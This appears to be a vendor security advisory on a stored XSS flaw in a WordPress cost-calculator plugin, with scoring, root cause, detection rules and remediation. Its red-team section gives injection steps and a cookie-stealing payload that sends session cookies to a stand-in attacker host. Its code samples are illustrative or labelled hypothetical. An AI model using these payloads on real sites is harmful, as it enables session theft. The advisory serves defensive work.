CVE-2024-6011

Executive Summary

CVE-2024-6011 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cost Calculator Builder plugin for WordPress, affecting all versions up to and including 3.2.12. The flaw resides in the textarea.description parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Administrator-level access (or higher) to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score is 4.4 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the WordPress plugin repository and can be updated through the WordPress admin dashboard. Administrators should ensure the plugin is updated to a patched version once available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – Requires Administrator-level access.
• User Interaction: Required (UI:R) – A user must visit the injected page.
• Scope: Changed (S:C) – The injected script can affect other resources.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for high privileges reduces the immediate risk, but the potential for privilege escalation or lateral movement within the WordPress admin panel makes it a concern for multi-tenant or shared hosting environments.

Deep Dive & Mechanics

The vulnerability exists in the Cost Calculator Builder plugin’s handling of the textarea.description parameter. When an administrator creates or edits a cost calculator, the plugin fails to properly sanitize and escape user input in this field. An attacker with admin access can inject malicious JavaScript code into the description field. This code is then stored in the WordPress database and rendered on the frontend without proper escaping, leading to Stored XSS.

Root Cause: The plugin uses textarea.description without applying WordPress’s built-in escaping functions (e.g., esc_textarea(), esc_html(), or wp_kses_post()). This allows arbitrary HTML/JavaScript to be stored and executed.

Attack Flow:

1. Attacker gains Administrator-level access to the WordPress site.
2. Attacker navigates to the Cost Calculator Builder settings and creates/edits a calculator.
3. Attacker injects a malicious script into the textarea.description field, e.g., <script>alert('XSS')</script>.
4. The script is stored in the database.
5. When any user (including lower-privileged users or visitors) accesses the page containing the calculator, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.12):

// In the plugin's admin settings page
$description = $_POST['textarea']['description'];
// Directly output without escaping
echo '<textarea name="description">' . $description . '</textarea>';

Patched Code (Hypothetical):

// Properly escape the output
$description = sanitize_textarea_field($_POST['textarea']['description']);
echo '<textarea name="description">' . esc_textarea($description) . '</textarea>';

Key Differences:

• Sanitization: The patched version uses sanitize_textarea_field() to strip malicious content on input.
• Escaping: The patched version uses esc_textarea() to safely encode the output for HTML context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Cost Calculator Builder plugin <= 3.2.12.
• Administrator-level credentials.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Cost Calculator Builder > Add New or edit an existing calculator.
3. In the Description field, inject the following payload:

   <script>alert('XSS');</script>
   

4. Save the calculator.
5. Visit the frontend page where the calculator is displayed. The script will execute.

Advanced Payload (Session Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual admin activity, especially edits to Cost Calculator Builder settings.
• Look for suspicious strings in the textarea.description field in the database.
• Use WAF rules to block common XSS patterns.

Prevention:

• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/cost-calculator-builder/ (check for modified files)
• Database: Look for entries in wp_postmeta or wp_options containing <script> tags in the description field.
• Logs: Web server logs showing requests to /wp-admin/admin-ajax.php with suspicious textarea[description] parameters.
• Network: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2024_6011_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Cost Calculator Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6011"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $textarea_desc = /textarea\.description/i
    condition:
        $textarea_desc and $xss_payload
}

Sigma Rule

title: CVE-2024-6011 Stored XSS in Cost Calculator Builder
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via textarea.description parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-method: POST
        cs-uri-query|contains: "textarea[description]"
        cs-uri-query|re: "<script[^>]*>.*?</script>"
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6011 Stored XSS in Cost Calculator Builder"; flow:to_server,established; content:"textarea[description]"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to the latest version once a patch is released.
2. Restrict admin access to only trusted users.
3. Review and clean any existing stored XSS payloads in the database.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security audits of WordPress plugins.
• Use WordPress hardening plugins (e.g., Sucuri, Wordfence).

Workaround (if patch unavailable):

• Disable the Cost Calculator Builder plugin until a patch is available.
• Manually sanitize the textarea.description field by adding a custom filter in the theme’s functions.php:

  add_filter('cost_calculator_builder_description', 'sanitize_textarea_field');
  

Valters IT
Securing Digital Frontiers